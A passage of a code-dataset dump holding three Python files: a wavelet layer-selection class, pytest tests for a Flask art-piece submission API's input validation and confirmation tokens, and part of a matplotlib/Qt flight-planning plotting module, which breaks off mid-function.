(Python)/Лабораторні/Валько 6103/lab.7/lab.7(main).py","file_name":"lab.7(main).py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"261864336","text":"from statsmodels.stats.diagnostic import acorr_ljungbox\nimport numpy as np\nimport math as mt\nfrom WtProcess import DWTP\n\n\nclass LayerSelect:\n def __init__(self, aldata, wtname):\n self.data = aldata\n self.wtname = wtname\n\n def WNrecgSelect(self):\n coeffs = DWTP(self.data).dwtdec(wtname=self.wtname)\n ln = len(coeffs)\n sl = 0\n stop = False\n for i in range(ln - 1, 0, -1):\n ld = coeffs[i]\n if len(ld) < 6:\n break\n elif len(ld) < 80:\n sn = [x for x in range(1, len(ld)//2, 1)]\n else:\n sn = [x for x in range(1, 40, 1)]\n wnr = acorr_ljungbox(ld, sn, return_df=False) # ld至少有六个元素\n for p in wnr[1]:\n if p < 0.05:\n stop = True # 任一延迟阶数的p值小于0.05,认为该层不是白噪声序列\n else:\n pass\n if stop:\n break\n else:\n sl += 1\n return sl\n\n def EntropySelect(self):\n maxl = DWTP(self.data).maxdeclevel(self.wtname)\n R = []\n dR = []\n for j in range(maxl):\n coeffs = DWTP(self.data).dwtdec(self.wtname, delevel=j+1)\n er = np.median([abs(x) for x in coeffs[-(j+1)]]) / 0.6745\n sher = 0.5 * mt.log(2 * mt.pi * mt.e * er ** 2)\n ln = len(coeffs)\n EG = 0\n egl = []\n for i in range(ln):\n lce = coeffs[i]\n eg = 0\n for ce in lce:\n eg = eg + ce ** 2\n egl.append(eg)\n EG = EG + eg\n\n P = []\n p = egl[0] / EG\n P.append(p)\n shfs = []\n for i in range(1, ln):\n p = egl[i] / EG\n P.append(p)\n shf = 0\n for p in P:\n shf = shf - p * mt.log(p)\n shfs.append(shf)\n r = shf / sher\n R.append(r)\n if len(R) < 3:\n dl = len(R)\n else:\n for i in range(len(R) - 2):\n dr = (R[i + 2] - R[i + 1]) / (R[i + 1] - R[i])\n dR.append(dr)\n maxdr = np.max(dR)\n dl = dR.index(maxdr)\n return dl\n\n def EntropySelect2(self):\n maxl = DWTP(self.data).maxdeclevel(self.wtname)\n R = []\n dR = []\n for j in range(maxl):\n coeffs = DWTP(self.data).dwtdec(self.wtname, delevel=j + 1)\n er = np.median([abs(x) for x in coeffs[-(j + 1)]]) / 0.6745\n sher = 0.5 * mt.log(2 * mt.pi * mt.e * er ** 2)\n ln = len(coeffs)\n EG = 0\n egl = []\n for i in range(ln):\n lce = coeffs[i]\n eg = 0\n for ce in lce:\n eg = eg + ce ** 2\n egl.append(eg)\n EG = EG + eg\n\n P = []\n p = egl[0] / EG\n P.append(p)\n shfs = []\n for i in range(1, ln):\n p = egl[i] / EG\n P.append(p)\n shf = 0\n for p in P:\n shf = shf - p * mt.log(p)\n shfs.append(shf)\n r = shf / sher\n R.append(r)\n maxdr = np.max(R)\n dl = R.index(maxdr)\n s= np.sum(R)\n return dl\n\n\nif __name__ == '__main__':\n # t1 = LayerSelect([[25.75], [-6.25], [-5.30330086, -4.24264069], [-3., 0.5, -1., 0.],\n # [-0.70710678, -0.70710678, -1.41421356, 3.53553391, -1.41421356, -1.41421356, -0.70710678]])\n t1 = LayerSelect([1,2,4,5,6,8,9,4,5,7,6,8,9,10],'db2')\n a = t1.WNrecgSelect()\n b = t1.EntropySelect()\n print(a, b)\n","sub_path":"LayerSelect.py","file_name":"LayerSelect.py","file_ext":"py","file_size_in_byte":3816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535854395","text":"import pytest\nimport json\nfrom flask import current_app\nfrom web.api.user.user import User\nfrom web.api.user.artpiece import (core, exceptions)\nfrom web.api.user.exceptions import InvalidUsage\nfrom web.database.models import ArtpieceModel\n\n@pytest.fixture(scope=\"function\")\ndef setup_app(test_app, test_database, clear_database):\n yield\n\nVALID_EMAIL = 'valid@mail.com'\nVALID_TITLE = 'valid title'\nVALID_ART = {'1': [[0,0]], '2': [[1,1]], '3': [[2,2]]}\n\ndef create_artpiece_data(email=VALID_EMAIL, title=VALID_TITLE, art=VALID_ART):\n return {'email': email, 'title': title, 'art': art}\n\ndef create_artpiece(email=VALID_EMAIL, title=VALID_TITLE, art=VALID_ART):\n return User.from_email(email).create_artpiece(title, art)\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_create_artpiece_by_new_user():\n artpiece = core.create_artpiece(VALID_EMAIL, VALID_TITLE, VALID_ART)\n assert artpiece.title == VALID_TITLE\n assert artpiece.creator.email == VALID_EMAIL\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_monthly_submission_limit_exceeded():\n limit = 0\n with pytest.raises(exceptions.MonthlySubmissionLimitException):\n core.guarantee_monthly_submission_limit_not_reached(limit)\n create_artpiece()\n with pytest.raises(exceptions.MonthlySubmissionLimitException):\n core.guarantee_monthly_submission_limit_not_reached(limit)\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_create_artpieces_with_same_email():\n with pytest.raises(exceptions.UserSubmissionLimitException):\n core.create_artpiece(VALID_EMAIL, VALID_TITLE, VALID_ART)\n core.create_artpiece(VALID_EMAIL, VALID_TITLE, VALID_ART)\n\n@pytest.mark.usefixtures(\"setup_app\")\n@pytest.mark.parametrize('invalid_email', ['malformed@malformation', '@deadbeef', 'evil.universe'])\ndef test_create_artpiece_malformed_email(invalid_email):\n in_data = create_artpiece_data(email=invalid_email)\n with pytest.raises(InvalidUsage):\n core.validate_and_extract_artpiece_data(in_data, VALID_ART.keys())\n\n@pytest.mark.usefixtures(\"setup_app\")\n@pytest.mark.parametrize('invalid_title', '`,~,!,@,#,$,%,^,&,*,/,\\\\,, , '.split(','))\ndef test_create_artpiece_non_alphanumeric_title(invalid_title):\n in_data = create_artpiece_data(title=invalid_title)\n with pytest.raises(exceptions.InvalidTitleException):\n core.validate_and_extract_artpiece_data(in_data, VALID_ART.keys())\n\n@pytest.mark.usefixtures(\"setup_app\")\n@pytest.mark.parametrize('invalid_art', [{'1': [[100, 0]]}, {'2': [[5, 101]]}])\ndef test_create_artpiece_pixel_outofbounds(invalid_art):\n in_data = create_artpiece_data(art=invalid_art)\n with pytest.raises(exceptions.PixelOutOfBoundsException):\n core.validate_and_extract_artpiece_data(in_data, invalid_art.keys())\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_create_artpiece_unavailable_color():\n art_with_invalid_color = {'10': [[5, 5]]}\n in_data = create_artpiece_data(art=art_with_invalid_color)\n with pytest.raises(exceptions.ColorSchemeException):\n core.validate_and_extract_artpiece_data(in_data, VALID_ART.keys())\n\n@pytest.mark.usefixtures(\"setup_app\")\n@pytest.mark.parametrize('invalid_art', [{}, {'1': []}])\ndef test_create_artpiece_with_empty_canvas(invalid_art):\n in_data = create_artpiece_data(art=invalid_art)\n with pytest.raises(exceptions.BlankCanvasException):\n core.validate_and_extract_artpiece_data(in_data, VALID_ART.keys())\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_confirm_artpiece():\n artpiece = create_artpiece()\n token = artpiece.get_confirmation_token()\n status = core.confirm_artpiece(artpiece, token)\n assert status == 'confirmed'\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_confirmed_artpiece():\n artpiece = create_artpiece()\n artpiece.confirm()\n token = artpiece.get_confirmation_token()\n status = core.confirm_artpiece(artpiece, token)\n assert status == 'already_confirmed'\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_expired_token_confirm_artpiece():\n artpiece = create_artpiece()\n token = artpiece.get_confirmation_token(expires_in=-1)\n\n with pytest.raises(exceptions.ExpiredConfirmationTokenException):\n core.confirm_artpiece(artpiece, token)\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_token_id_mismatch_confirm_artpiece():\n artpiece_1 = create_artpiece()\n artpiece_2 = create_artpiece(email='other@mail.com')\n token_1 = artpiece_1.get_confirmation_token()\n\n with pytest.raises(exceptions.InvalidConfirmationTokenException):\n core.confirm_artpiece(artpiece_2, token_1)\n\n@pytest.mark.usefixtures(\"setup_app\")\ndef test_invalid_token_confirm_artpiece():\n artpiece = create_artpiece()\n with pytest.raises(exceptions.InvalidConfirmationTokenException):\n core.confirm_artpiece(artpiece, 'random_invalid_token')\n","sub_path":"tests/test_user_api.py","file_name":"test_user_api.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"58888802","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n mslib.msui.mpl_qtwidget\n ~~~~~~~~~~~~~~~~~~~~~~~\n\n Definitions of Matplotlib widgets for Qt Designer.\n\n This file is part of MSS.\n\n :copyright: Copyright 2008-2014 Deutsches Zentrum fuer Luft- und Raumfahrt e.V.\n :copyright: Copyright 2011-2014 Marc Rautenhaus (mr)\n :copyright: Copyright 2016-2023 by the MSS team, see AUTHORS.\n :license: APACHE-2.0, see LICENSE for details.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\n# Parts of the code have been adapted from Chapter 6 of Sandro Tosi,\n# 'Matplotlib for Python Developers'.\n\nfrom datetime import datetime\nimport enum\nimport os\nimport six\nimport logging\nimport numpy as np\nimport matplotlib\nfrom fs import open_fs\nfrom fslib.fs_filepicker import getSaveFileNameAndFilter\nfrom matplotlib import cbook, figure\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT, FigureCanvasQTAgg\nimport matplotlib.backend_bases\nfrom PyQt5 import QtCore, QtWidgets, QtGui\n\nfrom mslib.utils.thermolib import convert_pressure_to_vertical_axis_measure\nfrom mslib.utils import thermolib, FatalUserError\nfrom mslib.utils.config import config_loader, save_settings_qsettings, load_settings_qsettings\nfrom mslib.utils.units import units\nfrom mslib.msui import mpl_pathinteractor as mpl_pi\nfrom mslib.msui import mpl_map\nfrom mslib.msui.icons import icons\n\nPIL_IMAGE_ORIGIN = \"upper\"\nLAST_SAVE_DIRECTORY = config_loader(dataset=\"data_dir\")\n\nmatplotlib.rcParams['savefig.directory'] = LAST_SAVE_DIRECTORY\n\n_DEFAULT_SETTINGS_TOPVIEW = {\n \"draw_graticule\": True,\n \"draw_coastlines\": True,\n \"fill_waterbodies\": True,\n \"fill_continents\": True,\n \"draw_flighttrack\": True,\n \"draw_marker\": True,\n \"label_flighttrack\": True,\n \"tov_plot_title_size\": \"default\",\n \"tov_axes_label_size\": \"default\",\n \"colour_water\": ((153 / 255.), (255 / 255.), (255 / 255.), (255 / 255.)),\n \"colour_land\": ((204 / 255.), (153 / 255.), (102 / 255.), (255 / 255.)),\n \"colour_ft_vertices\": (0, 0, 1, 1),\n \"colour_ft_waypoints\": (1, 0, 0, 1)}\n\n_DEFAULT_SETTINGS_SIDEVIEW = {\n \"vertical_extent\": (1050, 180),\n \"vertical_axis\": \"pressure\",\n \"secondary_axis\": \"no secondary axis\",\n \"plot_title_size\": \"default\",\n \"axes_label_size\": \"default\",\n \"flightlevels\": [300],\n \"draw_flightlevels\": True,\n \"draw_flighttrack\": True,\n \"fill_flighttrack\": True,\n \"label_flighttrack\": True,\n \"draw_verticals\": True,\n \"draw_marker\": True,\n \"draw_ceiling\": True,\n \"colour_ft_vertices\": (0, 0, 1, 1),\n \"colour_ft_waypoints\": (1, 0, 0, 1),\n \"colour_ft_fill\": (0, 0, 1, 0.15),\n \"colour_ceiling\": (0, 0, 1, 0.15)}\n\n_DEFAULT_SETTINGS_LINEARVIEW = {\n \"plot_title_size\": \"default\",\n \"axes_label_size\": \"default\"}\n\n\nclass ViewPlotter:\n def __init__(self, fig=None, ax=None, settings_tag=None, settings=None):\n # setup Matplotlib Figure and Axis\n self.fig, self.ax = fig, ax\n self.settings = settings\n self.settings_tag = settings_tag\n if self.fig is None:\n assert ax is None\n self.fig = figure.Figure(facecolor=\"w\") # 0.75\n if self.ax is None:\n self.ax = self.fig.add_subplot(111, zorder=99)\n\n def draw_metadata(self, title=\"\", init_time=None, valid_time=None,\n level=None, style=None):\n if style:\n title += f\" ({style})\"\n if level:\n title += f\" at {level}\"\n if isinstance(valid_time, datetime) and isinstance(init_time, datetime):\n time_step = valid_time - init_time\n else:\n time_step = None\n if isinstance(valid_time, datetime):\n valid_time = valid_time.strftime('%a %Y-%m-%d %H:%M UTC')\n if isinstance(init_time, datetime):\n init_time = init_time.strftime('%a %Y-%m-%d %H:%M UTC')\n\n # Add valid time / init time information to the title.\n if valid_time:\n if init_time:\n if time_step is not None:\n title += f\"\\nValid: {valid_time} (step {((time_step.days * 86400 + time_step.seconds) // 3600):d}\" \\\n f\" hrs from {init_time})\"\n else:\n title += f\"\\nValid: {valid_time} (initialisation: {init_time})\"\n else:\n title += f\"\\nValid: {valid_time}\"\n\n # Set title.\n self.ax.set_title(title, horizontalalignment='left', x=0)\n\n def get_plot_size_in_px(self):\n \"\"\"Determines the size of the current figure in pixels.\n Returns the tuple width, height.\n \"\"\"\n # (bounds = left, bottom, width, height)\n ax_bounds = self.ax.bbox.bounds\n width = int(round(ax_bounds[2]))\n height = int(round(ax_bounds[3]))\n return width, height\n\n def get_settings(self):\n \"\"\"Retrieve dictionary of plotting settings.\n\n Returns:\n dict: dictionary of settings.\n \"\"\"\n return self.settings\n\n def set_settings(self, settings, save=False):\n \"\"\"Update local settings influencing the plotting\n\n Args:\n settings (dict): Dictionary of string/value pairs\n \"\"\"\n if settings is not None:\n self.settings.update(settings)\n if save:\n self.save_settings()\n\n def load_settings(self):\n self.settings = load_settings_qsettings(self.settings_tag, self.settings)\n\n def save_settings(self):\n save_settings_qsettings(self.settings_tag, self.settings)\n\n\nclass TopViewPlotter(ViewPlotter):\n def __init__(self, fig=None, ax=None, settings=None):\n super().__init__(fig, ax, settings_tag=\"topview\", settings=_DEFAULT_SETTINGS_TOPVIEW)\n self.map = None\n self.legimg = None\n self.legax = None\n # stores the topview plot title size(tov_pts) and topview axes label size(tov_als),initially as None.\n self.tov_pts = None\n self.tov_als = None\n # Sets the default fontsize parameters' values for topview from MSSDefaultConfig.\n self.topview_size_settings = config_loader(dataset=\"topview\")\n self.load_settings()\n self.set_settings(settings)\n self.ax.figure.canvas.draw()\n\n def init_map(self, **kwargs):\n self.map = mpl_map.MapCanvas(appearance=self.get_settings(),\n resolution=\"l\", area_thresh=1000., ax=self.ax,\n **kwargs)\n\n # Sets the selected fontsize only if draw_graticule box from topview options is checked in.\n if self.settings[\"draw_graticule\"]:\n try:\n self.map._draw_auto_graticule(self.tov_als)\n except Exception as ex:\n logging.error(\"ERROR: cannot plot graticule (message: %s - '%s')\", type(ex), ex)\n else:\n self.map.set_graticule_visible(False)\n self.ax.set_autoscale_on(False)\n self.ax.set_title(\"Top view\", fontsize=self.tov_pts, horizontalalignment=\"left\", x=0)\n\n def getBBOX(self, bbox_units=None):\n axis = self.ax.axis()\n if bbox_units is not None:\n self.map.bbox_units = bbox_units\n if self.map.bbox_units == \"degree\":\n # Convert the current axis corners to lat/lon coordinates.\n axis0, axis2 = self.map(axis[0], axis[2], inverse=True)\n axis1, axis3 = self.map(axis[1], axis[3], inverse=True)\n bbox = (axis0, axis2, axis1, axis3)\n\n elif self.map.bbox_units.startswith(\"meter\"):\n center_x, center_y = self.map(\n *(float(_x) for _x in self.map.bbox_units[6:-1].split(\",\")))\n bbox = (axis[0] - center_x, axis[2] - center_y, axis[1] - center_x, axis[3] - center_y)\n\n else:\n bbox = axis[0], axis[2], axis[1], axis[3]\n\n return bbox\n\n def clear_figure(self):\n logging.debug(\"Removing image\")\n if self.map.image is not None:\n self.map.image.remove()\n self.map.image = None\n self.ax.set_title(\"Top view\", horizontalalignment=\"left\", x=0)\n self.ax.figure.canvas.draw()\n\n def set_settings(self, settings, save=False):\n \"\"\"Apply settings from dictionary 'settings' to the view.\n If settings is None, apply default settings.\n \"\"\"\n super().set_settings(settings, save)\n\n # Stores the exact value of fontsize for topview plot title size(tov_pts)\n self.tov_pts = (self.topview_size_settings[\"plot_title_size\"]\n if self.settings[\"tov_plot_title_size\"] == \"default\"\n else int(self.settings[\"tov_plot_title_size\"]))\n # Stores the exact value of fontsize for topview axes label size(tov_als)\n self.tov_als = (self.topview_size_settings[\"axes_label_size\"]\n if self.settings[\"tov_axes_label_size\"] == \"default\"\n else int(self.settings[\"tov_axes_label_size\"]))\n\n ax = self.ax\n\n if self.map is not None:\n self.map.set_coastlines_visible(self.settings[\"draw_coastlines\"])\n self.map.set_fillcontinents_visible(visible=self.settings[\"fill_continents\"],\n land_color=self.settings[\"colour_land\"],\n lake_color=self.settings[\"colour_water\"])\n self.map.set_mapboundary_visible(visible=self.settings[\"fill_waterbodies\"],\n bg_color=self.settings[\"colour_water\"])\n\n # Updates plot title size as selected from combobox labelled plot title size.\n ax.set_autoscale_on(False)\n ax.set_title(\"Top view\", fontsize=self.tov_pts, horizontalalignment=\"left\", x=0)\n\n # Updates graticule ticklabels/labels fontsize if draw_graticule is True.\n if self.settings[\"draw_graticule\"]:\n self.map.set_graticule_visible(False)\n self.map._draw_auto_graticule(self.tov_als)\n else:\n self.map.set_graticule_visible(self.settings[\"draw_graticule\"])\n\n def redraw_map(self, kwargs_update=None):\n \"\"\"Redraw map canvas.\n Executed on clicked() of btMapRedraw.\n See MapCanvas.update_with_coordinate_change(). After the map redraw,\n coordinates of all objects overlain on the map have to be updated.\n \"\"\"\n\n # 2) UPDATE MAP.\n self.map.update_with_coordinate_change(kwargs_update)\n\n # Sets the graticule ticklabels/labels fontsize for topview when map is redrawn.\n if self.settings[\"draw_graticule\"]:\n self.map.set_graticule_visible(False)\n self.map._draw_auto_graticule(self.tov_als)\n else:\n self.plotter.map.set_graticule_visible(self.settings[\"draw_graticule\"])\n self.ax.figure.canvas.draw() # this one is required to trigger a\n # drawevent to update the background\n\n # self.draw_metadata() ; It is not needed here, since below here already plot title is being set.\n\n # Setting fontsize for topview plot title when map is redrawn.\n self.ax.set_title(\"Top view\", fontsize=self.tov_pts, horizontalalignment='left', x=0)\n self.ax.figure.canvas.draw()\n\n def draw_image(self, img):\n \"\"\"Draw the image img on the current plot.\n \"\"\"\n logging.debug(\"plotting image..\")\n self.wms_image = self.map.imshow(img, interpolation=\"nearest\", origin=PIL_IMAGE_ORIGIN)\n # NOTE: imshow always draws the images to the lowest z-level of the\n # plot.\n # See these mailing list entries:\n # http://www.mail-archive.com/matplotlib-devel@lists.sourceforge.net/msg05955.html\n # http://old.nabble.com/Re%3A--Matplotlib-users--imshow-zorder-tt19047314.html#a19047314\n #\n # Question: Is this an issue for us or do we always want the images in the back\n # anyhow? At least we need to remove filled continents here.\n # self.map.set_fillcontinents_visible(False)\n # ** UPDATE 2011/01/14 ** seems to work with version 1.0!\n logging.debug(\"done.\")\n\n def draw_legend(self, img):\n \"\"\"Draw the legend graphics img on the current plot.\n Adds new axes to the plot that accomodate the legend.\n \"\"\"\n # If the method is called with a \"None\" image, the current legend\n # graphic should be removed (if one exists).\n if self.legimg is not None:\n logging.debug(\"removing image %s\", self.legimg)\n self.legimg.remove()\n self.legimg = None\n\n if img is not None:\n # The size of the legend axes needs to be given in relative figure\n # coordinates. To determine those from the legend graphics size in\n # pixels, we need to determine the size of the currently displayed\n # figure in pixels.\n figsize_px = self.fig.get_size_inches() * self.fig.get_dpi()\n ax_extent_x = float(img.size[0]) / figsize_px[0]\n ax_extent_y = float(img.size[1]) / figsize_px[1]\n\n # If no legend axes have been created, do so now.\n if self.legax is None:\n # Main axes instance of mplwidget has zorder 99.\n self.legax = self.fig.add_axes([1 - ax_extent_x, 0.01, ax_extent_x, ax_extent_y],\n frameon=False,\n xticks=[], yticks=[],\n label=\"ax2\", zorder=0)\n self.legax.patch.set_facecolor(\"None\")\n\n # If axes exist, adjust their position.\n else:\n self.legax.set_position([1 - ax_extent_x, 0.01, ax_extent_x, ax_extent_y])\n # Plot the new legimg in the legax axes.\n self.legimg = self.legax.imshow(img, origin=PIL_IMAGE_ORIGIN, aspect=\"equal\", interpolation=\"nearest\")\n self.ax.figure.canvas.draw()\n\n\nclass SideViewPlotter(ViewPlotter):\n _pres_maj = np.concatenate([np.arange(top * 10, top, -top) for top in (10000, 1000, 100, 10)] + [[10]])\n _pres_min = np.concatenate([np.arange(top * 10, top, -top // 10) for top in (10000, 1000, 100, 10)] + [[10]])\n\n _pres_maj = np.concatenate([np.arange(top * 10, top, -top) for top in (10000, 1000, 100, 10)] + [[10]])\n _pres_min = np.concatenate([np.arange(top * 10, top, -top // 10) for top in (10000, 1000, 100, 10)] + [[10]])\n\n def __init__(self, fig=None, ax=None, settings=None, numlabels=None, num_interpolation_points=None):\n \"\"\"\n Arguments:\n model -- WaypointsTableModel defining the vertical section.\n \"\"\"\n if numlabels is None:\n numlabels = config_loader(dataset='num_labels')\n if num_interpolation_points is None:\n num_interpolation_points = config_loader(dataset='num_interpolation_points')\n super().__init__(fig, ax, settings_tag=\"sideview\", settings=_DEFAULT_SETTINGS_SIDEVIEW)\n self.load_settings()\n self.set_settings(settings)\n\n self.numlabels = numlabels\n self.num_interpolation_points = num_interpolation_points\n self.ax2 = self.ax.twinx()\n self.ax.patch.set_facecolor(\"None\")\n self.ax2.patch.set_facecolor(\"None\")\n # Main axes instance of mplwidget has zorder 99.\n self.imgax = self.fig.add_axes(\n self.ax.get_position(), frameon=True, xticks=[], yticks=[], label=\"imgax\", zorder=0)\n self.vertical_lines = []\n\n # Sets the default value of sideview fontsize settings from MSSDefaultConfig.\n self.sideview_size_settings = config_loader(dataset=\"sideview\")\n # Draw a number of flight level lines.\n self.flightlevels = []\n self.fl_label_list = []\n self.image = None\n self.update_vertical_extent_from_settings(init=True)\n\n def _determine_ticks_labels(self, typ):\n if typ == \"no secondary axis\":\n major_ticks = [] * units.pascal\n minor_ticks = [] * units.pascal\n labels = []\n ylabel = \"\"\n elif typ == \"pressure\":\n # Compute the position of major and minor ticks. Major ticks are labelled.\n major_ticks = self._pres_maj[(self._pres_maj <= self.p_bot) & (self._pres_maj >= self.p_top)]\n minor_ticks = self._pres_min[(self._pres_min <= self.p_bot) & (self._pres_min >= self.p_top)]\n labels = [f\"{int(_x / 100)}\"\n if (_x / 100) - int(_x / 100) == 0 else f\"{float(_x / 100)}\" for _x in major_ticks]\n if len(labels) > 20:\n labels = [\"\" if x.split(\".\")[-1][0] in \"975\" else x for x in labels]\n elif len(labels) > 10:\n labels = [\"\" if x.split(\".\")[-1][0] in \"9\" else x for x in labels]\n ylabel = \"pressure (hPa)\"\n elif typ == \"pressure altitude\":\n bot_km = thermolib.pressure2flightlevel(self.p_bot * units.Pa).to(units.km).magnitude\n top_km = thermolib.pressure2flightlevel(self.p_top * units.Pa).to(units.km).magnitude\n ma_dist, mi_dist = 4, 1.0\n if (top_km - bot_km) <= 20:\n ma_dist, mi_dist = 1, 0.5\n elif (top_km - bot_km) <= 40:\n ma_dist, mi_dist = 2, 0.5\n major_heights = np.arange(0, top_km + 1, ma_dist)\n minor_heights = np.arange(0, top_km + 1, mi_dist)\n major_ticks = thermolib.flightlevel2pressure(major_heights * units.km).magnitude\n minor_ticks = thermolib.flightlevel2pressure(minor_heights * units.km).magnitude\n labels = major_heights\n ylabel = \"pressure altitude (km)\"\n elif typ == \"flight level\":\n bot_km = thermolib.pressure2flightlevel(self.p_bot * units.Pa).to(units.km).magnitude\n top_km = thermolib.pressure2flightlevel(self.p_top * units.Pa).to(units.km).magnitude\n ma_dist, mi_dist = 50, 10\n if (top_km - bot_km) <= 10:\n ma_dist, mi_dist = 20, 10\n elif (top_km - bot_km) <= 40:\n ma_dist, mi_dist = 40, 10\n major_fl = np.arange(0, 2132, ma_dist)\n minor_fl = np.arange(0, 2132, mi_dist)\n major_ticks = thermolib.flightlevel2pressure(major_fl * units.hft).magnitude\n minor_ticks = thermolib.flightlevel2pressure(minor_fl * units.hft).magnitude\n labels = major_fl\n ylabel = \"flight level (hft)\"\n else:\n raise RuntimeError(f\"Unsupported vertical axis type: '{typ}'\")\n return ylabel, major_ticks, minor_ticks, labels\n\n def setup_side_view(self):\n \"\"\"Set up a vertical section view.\n\n Vertical cross section code (log-p axis etc.) taken from\n mss_batch_production/visualisation/mpl_vsec.py.\n \"\"\"\n\n self.ax.set_title(\"vertical flight profile\", horizontalalignment=\"left\", x=0)\n self.ax.grid(visible=True)\n\n self.ax.set_xlabel(\"lat/lon\")\n\n for ax in (self.ax, self.ax2):\n ax.set_yscale(\"log\")\n ax.set_ylim(self.p_bot, self.p_top)\n\n self.redraw_yaxis()\n\n def redraw_yaxis(self):\n \"\"\" Redraws the y-axis on map after setting the values from sideview options dialog box\n and also updates the sizes for map title and x and y axes labels and ticklabels\"\"\"\n\n vaxis = self.settings[\"vertical_axis\"]\n vaxis2 = self.settings[\"secondary_axis\"]\n\n # Sets fontsize value for x axis ticklabel.\n axes_label_size = (self.sideview_size_settings[\"axes_label_size\"]\n if self.settings[\"axes_label_size\"] == \"default\"\n else int(self.settings[\"axes_label_size\"]))\n # Sets fontsize value for plot title and axes title/label\n plot_title_size = (self.sideview_size_settings[\"plot_title_size\"]\n if self.settings[\"plot_title_size\"] == \"default\"\n else int(self.settings[\"plot_title_size\"]))\n # Updates the fontsize of the x-axis ticklabels of sideview.\n self.ax.tick_params(axis='x', labelsize=axes_label_size)\n # Updates the fontsize of plot title and x-axis title of sideview.\n self.ax.set_title(\"vertical flight profile\", fontsize=plot_title_size, horizontalalignment=\"left\", x=0)\n self.ax.set_xlabel(\"lat/lon\", fontsize=plot_title_size)\n\n for ax, typ in zip((self.ax, self.ax2), (vaxis, vaxis2)):\n ylabel, major_ticks, minor_ticks, labels = self._determine_ticks_labels(typ)\n\n ax.set_ylabel(ylabel, fontsize=plot_title_size)\n ax.set_yticks(minor_ticks, minor=True)\n ax.set_yticks(major_ticks, minor=False)\n ax.set_yticklabels([], minor=True)\n ax.set_yticklabels(labels, minor=False, fontsize=axes_label_size)\n ax.set_ylim(self.p_bot, self.p_top)\n\n if vaxis2 == \"no secondary axis\":\n self.fig.subplots_adjust(left=0.08, right=0.96, top=0.9, bottom=0.14)\n self.imgax.set_position(self.ax.get_position())\n else:\n self.fig.subplots_adjust(left=0.08, right=0.92, top=0.9, bottom=0.14)\n self.imgax.set_position(self.ax.get_position())\n\n def redraw_xaxis(self, lats, lons, times, times_visible):\n \"\"\"Redraw the x-axis of the side view on path changes. Also remove\n a vertical section image if one exists, as it is invalid after\n a path change.\n \"\"\"\n logging.debug(\"redrawing x-axis\")\n\n # Re-label x-axis.\n self.ax.set_xlim(0, len(lats) - 1)\n # Set xticks so that they display lat/lon. Plot \"numlabels\" labels.\n lat_inds = np.arange(len(lats))\n tick_index_step = len(lat_inds) // self.numlabels\n self.ax.set_xticks(lat_inds[::tick_index_step])\n\n if times_visible:\n self.ax.set_xticklabels([f'{d[0]:2.1f}, {d[1]:2.1f}\\n{d[2].strftime(\"%H:%M\")}Z'\n for d in zip(lats[::tick_index_step],\n lons[::tick_index_step],\n times[::tick_index_step])],\n rotation=25, horizontalalignment=\"right\")\n else:\n self.ax.set_xticklabels([f\"{d[0]:2.1f}, {d[1]:2.1f}\"\n for d in zip(lats[::tick_index_step],\n lons[::tick_index_step])],\n rotation=25, horizontalalignment=\"right\")\n\n self.ax.figure.canvas.draw()\n\n def draw_vertical_lines(self, highlight, lats, lons):\n # Remove all vertical lines\n for line in self.vertical_lines:\n try:\n line.remove()\n except ValueError as e:\n logging.debug(\"Vertical line was somehow already removed:\\n%s\", e)\n self.vertical_lines = []\n\n # Add vertical lines\n if self.settings[\"draw_verticals\"]:\n ipoint = 0\n for i, (lat, lon) in enumerate(zip(lats, lons)):\n if (ipoint < len(highlight) and\n np.hypot(lat - highlight[ipoint][0],\n lon - highlight[ipoint][1]) < 2E-10):\n self.vertical_lines.append(\n self.ax.axvline(i, color='k', linewidth=2, linestyle='--', alpha=0.5))\n ipoint += 1\n self.fig.canvas.draw()\n\n def getBBOX(self):\n \"\"\"Get the bounding box of the view (returns a 4-tuple\n x1, y1(p_bot[hPa]), x2, y2(p_top[hPa])).\n \"\"\"\n # Get the bounding box of the current view\n # (bbox = llcrnrlon, llcrnrlat, urcrnrlon, urcrnrlat; i.e. for the side\n # view bbox = x1, y1(p_bot), x2, y2(p_top)).\n axis = self.ax.axis()\n\n num_interpolation_points = self.num_interpolation_points\n num_labels = self.numlabels\n\n # Return a tuple (num_interpolation_points, p_bot[hPa],\n # num_labels, p_top[hPa]) as BBOX.\n bbox = (num_interpolation_points, (axis[2] / 100),\n num_labels, (axis[3] / 100))\n return bbox\n\n def clear_figure(self):\n logging.debug(\"path of side view has changed.. removing invalidated \"\n \"image (if existent) and redrawing.\")\n if self.image is not None:\n self.image.remove()\n self.image = None\n self.ax.set_title(\"vertical flight profile\", horizontalalignment=\"left\", x=0)\n self.ax.figure.canvas.draw()\n\n def draw_image(self, img):\n \"\"\"Draw the image img on the current plot.\n\n NOTE: The image is plotted in a separate axes object that is located\n below the axes that display the flight profile. This is necessary\n because imshow() does not work with logarithmic axes.\n \"\"\"\n logging.debug(\"plotting vertical section image..\")\n ix, iy = img.size\n logging.debug(\" image size is %dx%d px, format is '%s'\", ix, iy, img.format)\n\n # If an image is currently displayed, remove it from the plot.\n if self.image is not None:\n self.image.remove()\n\n # Plot the new image in the image axes and adjust the axes limits.\n self.image = self.imgax.imshow(\n img, interpolation=\"nearest\", aspect=\"auto\", 